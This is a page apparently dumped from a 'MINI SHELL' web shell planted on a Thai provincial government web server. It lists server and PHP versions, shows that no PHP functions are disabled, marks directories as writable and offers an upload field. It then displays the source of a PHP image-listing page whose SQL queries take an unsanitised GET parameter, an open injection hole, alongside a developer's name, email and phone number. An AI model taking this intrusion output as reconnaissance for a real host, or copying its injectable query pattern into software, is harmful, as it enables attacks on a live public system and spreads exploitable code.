MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /home/pathumthani_integration/integration/application/people/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/pathumthani_integration/integration/application/people/mb_img_all.php
<?
	###################################################################
	## SAIYAIRAK : MEMBER IMAGES MANAGEMENT
	###################################################################
	## Version :			20090722.001 (Created/Modified; Date.RunNumber)
	## Created Date :	2009-07-22 10:00
	## Created By :		Mr.JESSADA RUEDEEKULRUNGROJ (AUSSY)
	## E-mail :				jessada@sapphire.co.th
	## Tel. :				086-1918665
	## Company :		Sappire Research and Development Co.,Ltd. (C)All Right Reserved
	###################################################################
	
	session_start();
	include "../../config/config_epm.inc.php";
	include("../../inc/function.php");
	
	# VARIABLE =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
	$FileDir = "../../files/member_img/";
	$this_date = date("Y-m-d");
	$this_time = date("H:i:s");
	
	
	if ( $_SERVER['REQUEST_METHOD'] == "POST" ) {
		$pin = $_POST['hpin'];
		$hRow = sprintf("%03d", $_POST['hRow']);
	}
	# END VARIABLE =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
?>
<table width="160" border="0" cellspacing="0" cellpadding="0">
        <tr>
<?
	$strSQL = "SELECT img_id, img_name, staff_id, label, DATE(stamp) AS UpLDate, TIME(stamp) AS UpLTime FROM eq_member_img WHERE pin='".$_GET['MemberPIN']."' ORDER BY UpLDate DESC, UpLTime DESC";
	$db = mysql_query($strSQL);
	$SQLcount="SELECT COUNT(pin) FROM eq_member_img WHERE pin='".$_GET['MemberPIN']."'";
	$dbcount=mysql_query($SQLcount);
	list($count)=mysql_fetch_row($dbcount);
	$intA = 1;
	if ( $count > 0 ) {
		while ( list($pk,$name,$user_id,$label,$UpLDate,$UpLTime) = mysql_fetch_row($db) ) {
			if ( $intA % 4 == 1 ) echo "<tr></tr>";
?>
          <td width="160" align="left">
          <table width="196" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
    <td width="24"><img src="../../images/status_01.jpg" width="24" height="23"></td>
    <td height="23" colspan="2" background="../../images/status_02.jpg" class="normal_blue"><img src="../../images/status_02.jpg" width="9" height="23" align="absmiddle">&nbsp;    </td>
    <td width="24"><img src="../../images/status_03.jpg" width="24" height="23"></td>
</tr>
<tr>
    <td rowspan="2" background="../../images/status_05.jpg"><img src="../../images/status_05.jpg" width="24" height="8"></td>
    <td colspan="2" class="normal" height="200" align="center" valign="top">
    <div style="100% height:30px;margin:0;text-align:right;font-size:12px;">
    	 <span style="float:left;"> ภาพที่ <strong><?=$intA?></strong></span>
          <img src="../../images/Delete.gif"  alt="" width="16" height="16" align="absmiddle" onclick="return del_confirm('<?=$pk;?>');" onmouseover="this.style.cursor='hand';"/>    </div>
    <a href="<?=$FileDir?><?=$name?>" target="_blank"><img src="<?=$FileDir?><?=$name?>" style="margin-top:15px;border:#000 solid 1px;" alt="<?=$label?>" title="<?=$label?>" height="113" border="1" /></a>
    <div style="width:100%;text-align:left;margin-top:15px;height:70px;font-size:12px;"><strong>คำอธิบาย:</strong> <?=$label?></div>    </td>
    <td rowspan="2" background="../../images/status_04.jpg"><img src="../../images/status_04.jpg" width="24" height="10"></td>
</tr>
<tr>
  <td colspan="2" class="normal" height="2" align="right"></td>
</tr>
<tr>
    <td><img src="../../images/status_06.jpg" width="24" height="27"></td>
    <td height="27" colspan="2" background="../../images/status_07.jpg"><img src="../../images/status_07.jpg" width="10" height="27"></td>
    <td><img src="../../images/status_08.jpg" width="24" height="27"></td>
</tr>
</table></td>
<?
			$intA++;
		}
	}
?>
</table>

Anon7 - 2021